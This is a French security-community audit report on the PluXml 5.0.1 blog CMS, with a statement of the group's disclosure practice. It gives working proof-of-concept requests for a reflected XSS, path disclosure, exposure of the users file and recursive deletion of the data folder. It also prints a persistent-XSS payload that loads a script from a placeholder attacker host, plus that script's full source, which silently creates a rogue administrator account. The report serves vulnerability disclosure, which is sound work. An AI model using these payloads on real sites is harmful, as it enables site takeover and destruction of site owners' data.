Sommaire

1 Qui sommes nous ?

La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des touches à tout, des fouineurs, nous expérimentons à tout va et nous partageons sans autre restriction que le respect.

Notre site répertorie nos tutos, articles informatifs et autres textes techniques ou non, c'est le côté partage de notre communauté.
Pourtant, et vous vous en rendrez vite compte, nous cultivons la discrétion et la qualité, le principal contenu de notre forum n'est accessible qu'aux membres de notre communauté.

La raison est simple : certains savoirs ne sont pas à placer entre toutes les mains.

Quid des acharnés d'une utopie du partage alors?

Notre position est ambiguë nous devons l'admettre, nous prônons le partage des connaissances sans restriction, c'est la pierre angulaire de la communauté, mais nous ne sommes pas aveugles au point de penser que tous ont l'intelligence ou la maturité nécessaire à l'utilisation judicieuse d'un savoir qui par définition est neutre.
Fort du constat que la connotation du savoir dépend avant tout de la moralité et de la franchise envers lui même de l'utilisateur, nous préférons réserver ce savoir pour ceux qui sont aptes à l'utiliser pour le bien commun.

Arbitraire, certes, mais avez vous mieux à proposer?

Le savoir est une arme autant que les mots ou l'acier et nous ne sommes pas une armurerie.

La communauté n'est pas considérée par ses membres comme un énième lieu de leech à tout va, nous partageons réellement et notre credo, notre dogme, c'est d'apporter ce que nous pouvons, dans la mesure de nos moyens et de nous élever grâce aux contributions des autres membres.

Du partage naît l'apprentissage et de l'apprentissage naît le partage, nous ne cherchons pas à savoir qui de l'un a engendré l'autre en premier, nous nous contentons d'entretenir la boucle ainsi formée et de progresser en nous aidant les uns les autres, simplement.

2 Nos audits de sécurité

Au sein de la communauté nous utilisons le nom de Zenk Roulette, le principe est simple nous choisissons une application open source que nous installons sur nos serveurs, à partir de là nous commençons un audit de sécurité sur l'application choisie.
Cet audit est fait exclusivement pour le fun, c'est un plaisir avant tout et il reste entièrement privé.
Les audits sont fait par des professionnelles et des passionnés du monde de la sécurité informatique.
Suite à cet audit nous fournissons un rapport aux "propriétaires" de l'application lui fournissant quelques conseils, ensuite nous attendons sa réponse par mail et l'application de correctif sous une période correcte avant de rendre publique notre rapport.
Généralement si au bout d'un mois nous n'avons pas de réponse des propriétaires nous rendons publique le rapport, dans le cas contraire nous nous arrangeons avec les propriétaires pour le rendre publique une fois les vulnérabilités corrigées.
Bien sur nous restons disponible pour toute question.

3 Notre choix

Application auditée : PluXml 5.0.1
Description : Il s'agit d'un CMS qui permet de gérer un Blog / Site. Sa particularité est d'être "Databaseless". En effet, toutes les données sont stockées dans des fichiers XML.
URL : http://pluxml.org
Date : Mardi 10 août 2010

4 Les participants

sh4ka

BuRner

asus

tr4nce

BaRBcH

Sorcier_FXK

5 Compte rendu de l'audit

Défauts de sécurité :

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur du site et d'autres ne sont accessibles qu'à une personne ayant les droits limités d'un rédacteur.

- Fuite du numéro de version (trance) :

```
http://localhost/pluxml/version
```

- Possibilité de lister le contenu de la plupart des dossiers. Pas de .htaccess (Asus).
- XSS Non persistante à l'invite d'administration (sh4ka) :

```
http://localhost/pluxml/core/admin/auth.php?p=1337%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
```

- Pour poster un commentaire un captcha est affiché en toutes lettres, on demande simplement l'offset d'une lettre, qui est écrit en français. Facilement contournable automatiquement en testant les différentes possibilités (“première” ⇒ 1, “deuxième” ⇒ 2, etc) (trance).
- Full Path (tryks & BaRBcH) :

```
http://localhost/pluxml/core/lib/class.plx.admin.php
http://localhost/pluxml/core/lib/class.plx.feed.php
http://localhost/pluxml/core/lib/class.plx.updater.php
```

- Exécution de code PHP dans les pages statiques en tant qu' “Administrateur” uniquement (trance).
- Un rédacteur peut rendre le fichier users.xml lisible de tous. Il peut en effet le déplacer par le biais de l'interface de gestion des médias (http://localhost/pluxml/core/admin/medias.php) afin de le mettre dans n'importe quel dossier, bypassant ainsi le .htaccess du dossier data/configuration. John (ou Sorcier_FXK) n'a plus qu'à finir le travail pour obtenir le mot de passe en clair. (Asus)
- Un rédacteur peut supprimer récursivement tout le contenu du dossier data et ainsi rendre le site inactif et effacer toutes ses données (Asus):

```
http://localhost/pluxml/core/admin/medias.php?hash=tGJN5ZTw6i&deldir=..&dir=
```

Solution retenue :

XSS Persistante dans le champ “Site” du formulaire de commentaires (BuRner) :

```
http://www.rogue.com"><script src=http://attaquant/pluxploit.js></script>
```

Ainsi, il suffira à l'administrateur de se connecter à la page de l'article contenant le commentaire piégé pour qu'un nouvel administrateur soit créé.

Code source de pluxploit.js (BuRner) :

```
/*****************************************
 *
 * Author: Zenk-Security
 * App: Pluxml 5.0.1
 * Type: Persistent XSS expoitation
 * Function: Create Administrator account
 *
 *****************************************/

function createXMLHttpRequest()
{
  try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {}
  try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}
  try { return new XMLHttpRequest(); } catch(e) {}
  return null;
}

var ajax = createXMLHttpRequest();
if(ajax != null)
{
      var
params='userNum[]=999&999_newuser=true&999_name=user&999_infos=&999_login=login&9
99_password=pass&999_profil=0&999_active=1&selection=&update=Modifier+la+liste+des+util
isateurs';

      ajax.open('POST', '/pluxml/core/admin/parametres_users.php', true);
      ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      ajax.setRequestHeader("Content-length", params.length);
      ajax.setRequestHeader("Connection", "close");
      ajax.send(params);
}
```